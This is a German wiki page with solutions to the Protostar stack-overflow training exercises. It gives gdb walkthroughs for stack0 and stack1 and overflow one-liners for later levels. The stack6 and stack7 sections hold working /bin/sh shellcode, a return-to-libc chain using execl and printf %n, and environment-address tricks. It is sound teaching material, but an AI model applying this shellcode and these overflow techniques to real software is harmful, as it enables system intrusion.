====== stack ====== Diese Unterseite gehört zum [[friedhof:exploits]] Projekt und beinhaltet die **stack** Aufgaben von [[http://exploit-exercises.com/protostar]]. ===== stack0 ===== Bei [[http://exploit-exercises.com/protostar/stack0]] handelt es sich um ein erstes Beispiel, wie man den Wert einer Variable verändern kann. Im stack0 Quellcode kann man sehen, dass ein //buffer// mit 64 characters Platz angelegt wird. Die Variable //modified// die man verändern soll am Anfang auf 0 gesetzt wird und wie mit gets() etwas in //buffer// geschrieben wird. char buffer[64]; modified = 0; gets(buffer); Wenn wir uns diese stelle mit gdb (GNU Debugger) ansehen, können wir folgendes sehen: protostar@protostar:/opt/protostar/bin$ gdb stack0 (gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: [...] 0x080483fd : mov DWORD PTR [esp+0x5c],0x0 0x08048405 : lea eax,[esp+0x1c] 0x08048409 : mov DWORD PTR [esp],eax 0x0804840c : call 0x804830c //esp// ist der Stack Pointer. An die Adresse in [esp+0x5c] wird 0 geschrieben (das ist unser modified). Und bei [esp+0x1c] liegt unser buffer. Mit einem breakpoint nach dem gets(), können wir uns den Stack ansehen. Wir starten das Programm mit //run// und geben //AAAABBBBCCCCDDDDEEEEFFFF// ein. (gdb) break *0x08048411 (gdb) run Starting program: /opt/protostar/bin/stack0 AAAABBBBCCCCDDDDEEEEFFFF Breakpoint 1, main (gdb) x/8x $esp+0x1c 0xbffff74c: 0x41414141 0x42424242 0x43434343 0x44444444 0xbffff75c: 0x45454545 0x46464646 0x08049600 0xbffff798 (gdb) x $esp+0x5c 0xbffff73c: 0x00000000 Wie wir sehen liegen ab [$esp+0x1c] unsere eingegebenen Buchstaben. 0x41 = A, 0x42 = B, 0x43 = C, 0x44 = D, 0x45 = E, 0x46 = F. Wir erinnern uns, dass unser buffer 64 Byte groß ist (0x5c - 0x1c = 64). Schauen wir was passiert, wenn wir mehr als 64 Zeichen eingeben. ('A'*64)+'BBBB' (gdb) run Starting program: /opt/protostar/bin/stack0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Breakpoint 1, main (gdb) x/20x $esp+0x1c 0xbffff6fc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff70c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff71c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff72c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff73c: 0x42424242 0x08048400 0x00000000 0xbffff7c8 (gdb) x $esp+0x5c 0xbffff73c: 0x42424242 Wie wir sehen, ist [esp+0x5c] nicht mehr 0. Also haben wir unser //modified// mit 'BBBB' = 0x42424242 überschrieben. Mit //c// können wir das Programm ab dem Breakpoint fortsetzten und sehen was passiert. (gdb) c Continuing. you have changed the 'modified' variable Fertig. Wir haben erfolgreich die Variable //modified// mit einem eigenen Wert überschrieben. ===== stack1 ===== Bei [[http://exploit-exercises.com/protostar/stack1]] muss man wieder eine Variable verändern, diesmal aber mit einem bestimmten Wert. Im stack1 Quellcode kann man sehen, dass ein //buffer// mit 64 characters Platz angelegt wird. Die Variable //modified// die man verändern soll am Anfang auf 0 gesetzt wird und dass mit strcpy() die Zeichen aus argv[1] (erster Parameter) in den buffer kopiert werden. Schauen wir uns mal Assembler an. protostar@protostar:/opt/protostar/bin$ gdb stack1 (gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: [...] 0x08048487 : mov DWORD PTR [esp+0x5c],0x0 [...] 0x0804849b : lea eax,[esp+0x1c] 0x0804849f : mov DWORD PTR [esp],eax 0x080484a2 : call 0x8048368 wir sehen wieder, dass modified bei [esp+0x5c] (Stack + 0x5c offset) liegt und der buffer bei [esp+0x1c] (0x5c - 0x1x = 64). Werfen wir gleich mal mehr als 64 Zeichen rein, und den Wert der modified haben soll: if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } 0x61626364 ist in Ascii 'abcd'. Also lassen wir das Programm mit ('A'*64)+'abcd' laufen. (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd Try again, you got 0x64636261 Es hat nicht funktioniert? Es fällt auf, dass der Speicher solche Werte als little endian ablegt. Also drehen wir mal 'abcd' um ('dcba'). (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba you have correctly got the variable to the right value Perfekt. Jetzt hat es funktioniert. ===== stack2 ===== protostar@protostar:/opt/protostar/bin$ env GREENIE="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`echo -en "\x0a\x0d\x0a\x0d"`" ./stack2 you have correctly modified the variable ===== stack3 ===== (gdb) x win 0x8048424 : 0x83e58955 protostar@protostar:/opt/protostar/bin$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x24\x84\x04\x08" | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed ===== stack4 ===== protostar@protostar:/opt/protostar/bin# echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf4\x83\x04\x08" | ./stack4 code flow successfully changed ===== stack5 ===== protostar@protostar:/opt/protostar/bin$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xff\xbf\xcc\xcc\xcc\xcc" | env -i ./stack5 Trace/breakpoint trap An der Stelle der breakpoints (//\xcc//) könnte nun shellcode stehen. ===== stack6 ===== Stichwort ROP (Return Orientated Programming) Der Plan. Nach 80 Zeichen überschreiben wir ret von getpatch(). Aber wir können nicht einfach zu unserem shellcode springen wegen der überprüfung auf 0xbf. Also springen wir woanders hin -> mit execl ein eigenes Programm ausführen (hier "/tmp/fav"). execl("/tmp/fav","/tmp/fav",0). 0x00 als Parameter ist nicht möglich im string mitzugeben, da dieser den String beenden würde. Daher benutzen wir printf mit %n um 0 in eine bestimmte Adresse zu schreiben. // fav.c char sc[] = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80" "\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; main() { int (*f)() = (int (*)())sc; f(); } Also springen wir zu printf, haben auf dem stack die richtigen parameter dafür um 0x00 an die richtige Stelle im stack für unser execl zu schreiben. Unser exploit sieht jetzt so aus: | buffer | printf | execl | formatstring | prog | prog | here | | buffer | 80 Zeichen | | printf | Adresse von printf | | execl | Adresse von execl | | formatstring | "%3$n" um 0 an die Adresse von //here// schreiben | | prog | Adresse zu "/tmp/fav" String | | prog | Adresse zu "/tmp/fav" String | | here | Adresse an die 0 geschrieben werden soll | Unser exploit wird also so verpackt:
| | excel | return Adresse | prog | prog | 0 | | printf | return Adresse | formatstring "%3$n" | | | | | printf | execl | formatstring "%3$n" | prog | prog | here | wenn printf fertig ist, wird an die return Adresse gesprungen, die die Adresse von execl ist. Die Adresse von dem formatstring ist dann eigentlich die return Adresse von execl, was uns aber egal ist. //here// muss die Adresse von sich selbst haben, da printf mit %n an die Adresse einer Variable den Wert schreibt. Da wir also dort die 0 stehen haben wollen, muss die Adresse auf sich selbst zeigen. Den formatstring und den prog string speicher ich in environment Variabeln: fav="/tmp/fav"
str="%3$n" Mit einem C Code aus The art of exploitation, können wir die Adresse berechnen, an denen die Strings stehen werden: #include #include #include int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s \n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* Get env var location. */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */ printf("%s will be at %p\n", argv[1], ptr); } //$ ./env str /opt/protostar/bin/stack6// Dann noch alles schön zusammenbasteln, und wir haben unsere shell: buffer = 'A'*80 printf = "\x90\xdf\xed\xb7" execl = "\x60\xe4\xf2\xb7" str = "\x7f\xff\xff\xbf" fav = "\xd9\xff\xff\xbf" print buffer+printf+execl+str+fav+fav+"\xa0\xf7\xff\xbf" {{http://distilleryimage5.instagram.com/c2b6b7f48fc111e180c9123138016265_7.jpg?400}} Hier noch eine exploit Alternative, auf die ich durch stack7 gekommen bin. Exploit Design: |buffer|adress to ret|adress to shellcode| protostar@protostar:/tmp$ export SHELLCODE=`perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` protostar@protostar:/tmp$ ./env SHELLCODE /opt/protostar/bin/stack6 SHELLCODE will be at 0xbffff94f buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" # SHELLCODE adr in gdb x/100s $esp # ret1 = smrrd.adr('0xbffff95e') # ./env SHELLCODE /opt/protostar/bin/stack6 ret1 = smrrd.adr('0xbffff94f') # ret of main ret2 = smrrd.adr('0x08048508') print buffer[0:80]+ret2+ret1 ===== stack7 ===== Exploit Design: |buffer|adress to ret|adress to shellcode| to get the position of the shellcode in the environment variable, I use again the env.c program. protostar@protostar:/tmp$ export SHELLCODE=`perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` protostar@protostar:/tmp$ ./env SHELLCODE /opt/protostar/bin/stack7 SHELLCODE will be at 0xbffff94f buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" # SHELLCODE adr in gdb x/100s $esp # ret1 = smrrd.adr('0xbffff95e') # ./env SHELLCODE /opt/protostar/bin/stack6 ret1 = smrrd.adr('0xbffff94f') # ret of main ret2 = smrrd.adr('0x08048553') print buffer[0:80]+ret2+ret1